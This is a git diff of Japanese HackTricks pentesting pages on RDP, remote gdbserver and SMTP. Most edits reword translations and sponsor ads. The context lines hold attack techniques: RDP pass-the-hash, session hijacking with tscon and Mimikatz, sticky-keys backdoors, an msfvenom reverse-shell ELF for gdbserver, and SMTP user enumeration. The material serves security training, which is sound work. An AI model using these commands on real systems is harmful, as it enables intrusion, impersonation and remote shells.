+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
+- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
-
+
-**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レコンからレポート作成まで対応します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しむことができます。
+**どこからでも利用可能な脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストを実行し、レコンからレポート作成までをカバーします。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
## 基本情報
-Microsoftによって開発された**Remote Desktop Protocol**(**RDP**)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするよう設計されています。このような接続を確立するには、ユーザーが**RDP**クライアントソフトウェアを使用し、同時にリモートコンピュータが**RDP**サーバーソフトウェアを操作する必要があります。このセットアップにより、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスし、そのインターフェースをユーザーのローカルデバイスにもたらすことができます。
+Microsoftによって開発された**Remote Desktop Protocol**(**RDP**)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするよう設計されています。このような接続を確立するには、ユーザーが**RDP**クライアントソフトウェアを使用し、同時にリモートコンピュータが**RDP**サーバーソフトウェアを実行する必要があります。このセットアップにより、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスし、そのインターフェースをユーザーのローカルデバイスにもたらすことができます。
**デフォルトポート:** 3389
```
@@ -63,19 +63,19 @@ xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash
```
### 既知の資格情報をRDPサービスに対してチェックする
-rdp_check.pyはimpacketから、特定の資格情報がRDPサービスに対して有効かどうかをチェックすることができます。
+impacketのrdp_check.pyを使用すると、特定の資格情報がRDPサービスに対して有効かどうかを確認できます:
```bash
rdp_check /:@
```
-
+
-**脆弱性評価および侵入テストのための即座に利用可能なセットアップ**。レコンからレポートまで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出およびエクスプロイテーションモジュールを開発します。
+**脆弱性評価と侵入テストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出、およびエクスプロイテーションモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
## **攻撃**
-### セッションの盗用
+### セッションの盗み出し
**SYSTEM権限**を使用すると、所有者のパスワードを知る必要なく、**任意のユーザーによって開かれたRDPセッションにアクセス**できます。
@@ -87,11 +87,11 @@ query user
```bash
tscon /dest:
```
-今、選択したRDPセッション内に入り、Windowsのツールと機能のみを使用してユーザーを偽装する必要があります。
+今度は選択したRDPセッション内に入り、Windowsのツールと機能だけを使ってユーザーをなりすます必要があります。
**重要**: アクティブなRDPセッションにアクセスすると、それを使用していたユーザーがログアウトされます。
-プロセスのダンプからパスワードを取得することもできますが、この方法の方がはるかに速く、ユーザーの仮想デスクトップとやり取りできます(パスワードはディスクに保存されずにメモ帳に表示され、他のマシンで開かれた他のRDPセッションなど...)
+プロセスのダンプからパスワードを取得することもできますが、この方法の方がはるかに速く、ユーザーの仮想デスクトップとやり取りすることができます(パスワードがディスクに保存されずにメモ帳に表示される、他のマシンで開かれている他のRDPセッションなど...)
#### **Mimikatz**
@@ -104,11 +104,11 @@ ts::remote /id:2 #Connect to the session
このテクニックを**stickykeys**または**utilmanと組み合わせると、管理者権限のCMDと任意のRDPセッションにいつでもアクセスできます**
-すでにこれらのテクニックのいずれかでバックドアが設定されたRDPを検索できます: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
+すでにこれらのテクニックのいずれかでバックドアを仕掛けられたRDPを検索できます: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDPプロセスインジェクション
-異なるドメインからの誰かか**より高い権限でRDP経由でPCにログイン**した場合、**あなたが管理者である**PCに**ビーコンをインジェクト**して彼の**RDPセッションプロセス**にアクセスし、彼のように振る舞うことができます:
+異なるドメインからの誰かか**より高い権限でRDP経由でログイン**して**あなたが管理者であるPC**に、その人の**RDPセッションプロセスにビーコンをインジェクト**して彼として行動できます:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@@ -122,14 +122,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
-**AutoRDPwn**は、Powershellで作成されたポストエクスプロイテーションフレームワークで、主にMicrosoft Windowsコンピュータ上での**Shadow**攻撃を自動化するために設計されています。この脆弱性(Microsoftによって機能としてリストされています)により、リモート攻撃者は被害者のデスクトップを彼の同意なしに**表示**し、必要に応じて操作することさえできます。これは、オペレーティングシステム自体に組み込まれたツールを使用しています。
+**AutoRDPwn**は、主にMicrosoft Windowsコンピュータ上で**Shadow**攻撃を自動化するために設計されたPowerShellで作成されたポストエクスプロイテーションフレームワークです。この脆弱性(Microsoftによって機能としてリストされています)により、リモート攻撃者は被害者のデスクトップを彼の同意なしに表示し、必要に応じて操作することさえできます。これは、オペレーティングシステム自体に組み込まれたツールを使用しています。
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* コマンドラインから自動的にマウスとキーボードを制御
* コマンドラインからクリップボードを自動的に制御
-* クライアントからRDP経由でターゲットにネットワーク通信をチャネルするSOCKSプロキシを生成
-* ファイルをアップロードせずにターゲット上で任意のSHELLおよびPowerShellコマンドを実行
-* ファイルのアップロードおよびダウンロードを、ターゲット上でファイル転送が無効になっている場合でも実行
+* クライアントからRDP経由でターゲットにネットワーク通信をチャネル化するSOCKSプロキシを生成
+* ターゲット上でファイルをアップロードせずに任意のSHELLおよびPowerShellコマンドを実行
+* ファイル転送がターゲットで無効になっている場合でも、ターゲットとの間でファイルのアップロードおよびダウンロードを実行
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
@@ -148,22 +148,22 @@ Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
-
+
-**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでもフルペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイテーションモジュールを開発しています。
+**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペネトレーションテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
-htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学びましょう!
+htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ!
-HackTricksをサポートする他の方法:
+HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
-* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
+* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/pentesting-remote-gdbserver.md b/network-services-pentesting/pentesting-remote-gdbserver.md
index 2cccd1f24..0a8c45f5e 100644
--- a/network-services-pentesting/pentesting-remote-gdbserver.md
+++ b/network-services-pentesting/pentesting-remote-gdbserver.md
@@ -6,31 +6,31 @@
HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
+- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
-- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
+- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
+- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
-
+
-**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
+**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げ、シェルをポップして楽しむためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
## **基本情報**
-**gdbserver**は、プログラムのリモートデバッグを可能にするツールです。これは、デバッグが必要なプログラムと同じシステムで実行される「ターゲット」として知られるシステムで実行されます。このセットアップにより、**GNUデバッガ**が、ソースコードとデバッグ対象プログラムのバイナリコピーが格納されている「ホスト」と呼ばれる別のマシンから接続できます。**gdbserver**とデバッガの間の接続は、TCPまたはシリアルラインを介して行われ、柔軟なデバッグセットアップが可能です。
+**gdbserver**は、プログラムのリモートデバッグを可能にするツールです。これは、デバッグが必要なプログラムと同じシステムで実行される「ターゲット」として知られるプログラムと一緒に実行されます。このセットアップにより、**GNUデバッガ**が、ソースコードとデバッグ対象プログラムのバイナリコピーが格納されている「ホスト」と呼ばれる別のマシンから接続できます。**gdbserver**とデバッガの間の接続は、TCPまたはシリアルラインを介して行われ、柔軟なデバッグセットアップが可能です。
-**gdbserverを任意のポートでリッスン**させることができ、**nmapは現時点ではそのサービスを認識することができません**。
+**gdbserverを任意のポートでリッスン**させ、**nmapは現時点ではそのサービスを認識できない**。
## Exploitation
### アップロードして実行
-**msfvenomを使用してelfバックドアを簡単に作成**し、アップロードして実行することができます:
+**msfvenomでelfバックドアを簡単に作成**し、アップロードして実行します:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
@@ -195,22 +195,22 @@ RemoteCmd()
```
{% endcode %}
-
+
-**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出およびエクスプロイトモジュールを開発しています。
+**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
-htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
+ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください!**
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **をフォローする。**
-* **HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。**
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **をフォローしてください。**
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/pentesting-smtp/README.md b/network-services-pentesting/pentesting-smtp/README.md
index 8ff333c31..2a48dde5a 100644
--- a/network-services-pentesting/pentesting-smtp/README.md
+++ b/network-services-pentesting/pentesting-smtp/README.md
@@ -2,21 +2,21 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
+htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
-* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
+- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
+- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**する
-
+
-**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間、シェルをポップする楽しみを返します。
+**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、調査からレポート作成までをカバーします。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しむことができるようにします。
{% embed url="https://pentest-tools.com/" %}
@@ -24,7 +24,7 @@ HackTricksをサポートする他の方法:
**Simple Mail Transfer Protocol (SMTP)**は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限により、SMTPはしばしば**POP3またはIMAP**と併用されます。これらの追加プロトコルにより、ユーザーはサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることができます。
-実際には、**電子メールプログラム**が**電子メールの送信にSMTPを使用**し、**受信にはPOP3またはIMAPを使用**することが一般的です。Unixベースのシステムでは、電子メール用に最も頻繁に使用されるSMTPサーバーとして**sendmail**が注目されます。商用パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションがあります。
+実際には、**電子メールプログラム**は通常、**SMTPを使用して電子メールを送信**し、**POP3またはIMAPを使用して受信**します。Unixベースのシステムでは、電子メール用に最も頻繁に使用されるSMTPサーバーとして**sendmail**があります。商用パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションがあります。
**デフォルトポート:** 25,465(ssl),587(ssl)
```
@@ -35,9 +35,9 @@ PORT STATE SERVICE REASON VERSION
もし**被害者にメールを送らせる機会**があれば(たとえばウェブページのお問い合わせフォームを通じて)、それを行ってください。なぜなら、メールのヘッダーを見ることで**被害者の内部トポロジーについて知ることができる**からです。
-また、SMTP サーバーからメールを受け取ることもできます。その際、サーバーは攻撃者に NDN メールを送信します。ただし、許可されたアドレスからメールを送信していること(SPF ポリシーを確認)と、NDN メッセージを受信できることを確認してください。
+また、SMTPサーバーからメールを受け取ることもできます。そのためには、そのサーバーに**存在しないアドレスにメールを送信しようとする**必要があります(サーバーは攻撃者に NDN メールを送信します)。ただし、許可されたアドレスからメールを送信していること(SPF ポリシーを確認)と、NDN メッセージを受信できることを確認してください。
-さらに、**異なるコンテンツを送信してみるべきです。**なぜなら、`X-Virus-Scanned: by av.domain.com`のようなヘッダーに興味深い情報が含まれている可能性があるからです。\
+さらに、**異なる内容を送信してみると、`X-Virus-Scanned: by av.domain.com`のようなヘッダーに興味深い情報が見つかる**かもしれません。\
EICAR テストファイルを送信するべきです。\
**AV**を検出することで、**既知の脆弱性を悪用**することができるかもしれません。
@@ -49,16 +49,23 @@ EICAR テストファイルを送信するべきです。\
```bash
nc -vn 25
```
-**SMTPS**:
+**SMTPS**:
-SMTPS(Simple Mail Transfer Protocol Secure)は、SMTP通信をセキュアにするために使用されるポート465を使用します。SMTPSは、通信を暗号化し、データの機密性を保護します。SMTPSは、TLS(Transport Layer Security)プロトコルを使用して通信を暗号化します。
+SMTPSは、SMTP over SSLまたはSMTP over TLSとしても知られており、SMTP通信を暗号化するために使用されます。SMTPSは、通信の機密性を確保し、データの盗聴や改ざんを防ぐのに役立ちます。SMTPSは、ポート465を使用して通信を行います。
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### 組織のMXサーバーを見つける
-To find the MX servers of an organization, you can use tools like `nslookup` or `dig` to query the DNS records of the domain. The MX (Mail Exchange) records specify the mail servers responsible for receiving email on behalf of the domain. By querying the MX records of a domain, you can identify the mail servers that handle incoming emails for that organization.
+- Use `nslookup` to find the MX records of the target domain.
+- Run the following command in the terminal:
+
+```bash
+nslookup -type=mx
+```
+
+- This will return a list of MX servers used by the target organization for email communication.
```bash
dig +short mx google.com
```
@@ -67,7 +74,7 @@ dig +short mx google.com
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
-### NTLM認証 - 情報漏洩
+### NTLM Auth - 情報漏洩
サーバーがNTLM認証(Windows)をサポートしている場合、機密情報(バージョン)を取得できます。詳細は[**こちら**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)。
```bash
@@ -80,11 +87,11 @@ NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
-または、**nmap**プラグイン`smtp-ntlm-info.nse`を使用してこれを**自動化**します。
+または、**nmap** プラグイン `smtp-ntlm-info.nse` を使用してこれを**自動化**します。
### 内部サーバー名 - 情報漏洩
-一部のSMTPサーバーは、送信者のアドレスを完全なアドレスなしでコマンド「MAIL FROM」が発行された場合に自動的に補完し、内部名を漏洩します。
+一部のSMTPサーバーは、送信者のアドレスを完全なアドレスなしでコマンド "MAIL FROM" が発行されると自動的に補完し、内部名を漏洩します。
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
@@ -133,7 +140,7 @@ RCPT TO:ed
```
### VRFY
-VRFY(Verify)コマンドは、SMTPサーバーで特定のユーザーが存在するかどうかを確認するために使用されます。攻撃者はこのコマンドを使用して、ユーザー名を検証し、情報収集やユーザー名の列挙に利用することができます。 VRFYコマンドは一般的に無効化されているため、有効な場合は慎重に使用する必要があります。
+VRFY(Verify)コマンドは、SMTPサーバーで特定のユーザーが存在するかどうかを確認するために使用されます。攻撃者はこのコマンドを使用して、ユーザー名を検証し、情報収集やユーザー名の列挙に利用することができます。 VRFYコマンドは、セキュリティ上のリスクを伴うため、多くの場合、SMTPサーバーで無効になっています。
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@@ -151,7 +158,7 @@ VRFY blah
```
### EXPN
-EXPANDコマンドは、SMTPサーバーでメーリングリストのメンバーを確認するために使用されます。攻撃者は、このコマンドを使用してメーリングリストのメンバーの電子メールアドレスを取得することができます。EXPANDコマンドは、サーバーがメーリングリストのメンバーを公開している場合にのみ機能します。
+**EXPAND**コマンドは、SMTPサーバーでメーリングリストのメンバーを確認するために使用されます。メーリングリストが有効な場合、サーバーはメンバーのリストを返します。この情報は攻撃者にとって有用であり、潜在的な攻撃対象を特定するのに役立ちます。
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@@ -174,15 +181,15 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M -u -t
Nmap: nmap --script smtp-enum-users
```
-
+
-**脆弱性評価および侵入テストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。
+**脆弱性評価および侵入テストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出およびエクスプロイテーションモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。
{% embed url="https://pentest-tools.com/" %}
## DSNレポート
-**配信ステータス通知レポート**:組織に**無効なアドレス**に**メール**を送信した場合、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダ**には、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェア情報などの**機密情報**が含まれています。
+**配信ステータス通知レポート**:組織に**無効なアドレス**に**メール**を送信した場合、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダー**には、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェア情報などの**機密情報**が含まれる可能性があります。
## [コマンド](smtp-commands.md)
@@ -251,7 +258,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTPスマグリング
-SMTPスマグリングの脆弱性により、すべてのSMTP保護をバイパスすることが可能でした(保護に関する詳細については次のセクションを参照してください)。 SMTPスマグリングについての詳細は以下をチェックしてください:
+SMTPスマグリングの脆弱性により、すべてのSMTP保護をバイパスすることが可能でした(保護に関する詳細については次のセクションを参照してください)。SMTPスマグリングについての詳細は以下を参照してください:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
@@ -266,25 +273,25 @@ SMTPスマグリングの脆弱性により、すべてのSMTP保護をバイパ
### SPF
{% hint style="danger" %}
-SPFは2014年に「非推奨」となりました。これは、`_spf.domain.com`内の**TXTレコード**を作成する代わりに、同じ構文を使用して`domain.com`内に作成する必要があることを意味します。\
+SPFは2014年に「非推奨」となりました。これは、`_spf.domain.com`で**TXTレコード**を作成する代わりに、`domain.com`で**同じ構文**を使用して作成する必要があることを意味します。\
さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものをよく見つけることが一般的です。
{% endhint %}
-**Sender Policy Framework**(SPF)は、メール転送エージェント(MTA)が、組織によって定義された許可されたメールサーバーのリストをクエリして、メールを送信するホストが許可されているかどうかを検証する仕組みです。このリストには、IPアドレス/範囲、ドメイン、および他のエンティティが含まれ、**ドメイン名を代表してメールを送信することが許可されている**さまざまな「メカニズム」がSPFレコードに含まれています。
+**Sender Policy Framework**(SPF)は、メール転送エージェント(MTA)が、組織が定義した許可されたメールサーバーのリストをクエリして、メールを送信するホストが許可されているかどうかを検証できる仕組みです。このリストには、IPアドレス/範囲、ドメイン、および他のエンティティが含まれます。**ドメイン名を代表してメールを送信することが許可されている**。
#### メカニズム
[Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework)より:
| メカニズム | 説明 |
-| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | 常に一致します。前のメカニズムで一致しなかったすべてのIPに対して`-all`のようにデフォルトの結果に使用されます。 |
| A | ドメイン名に送信者のアドレスに解決できるアドレスレコード(AまたはAAAA)がある場合、一致します。 |
| IP4 | 送信者が特定のIPv4アドレス範囲にある場合、一致します。 |
| IP6 | 送信者が特定のIPv6アドレス範囲にある場合、一致します。 |
| MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致します(つまり、メールはドメインの受信メールサーバーの1つから送信されます)。 |
-| PTR | クライアントのアドレスのドメイン名(PTRレコード)が指定されたドメイン内にあり、そのドメイン名がクライアントのアドレスに解決される場合(フォワード確認逆DNS)、一致します。このメカニズムは非推奨であり、可能な限り避けるべきです。 |
-| EXISTS | 指定されたドメイン名がどのアドレスに解決されても一致します(解決されるアドレスに関係なく)。これはほとんど使用されません。SPFマクロ言語とともに使用すると、DNSBLクエリなどのより複雑な一致が提供されます。 |
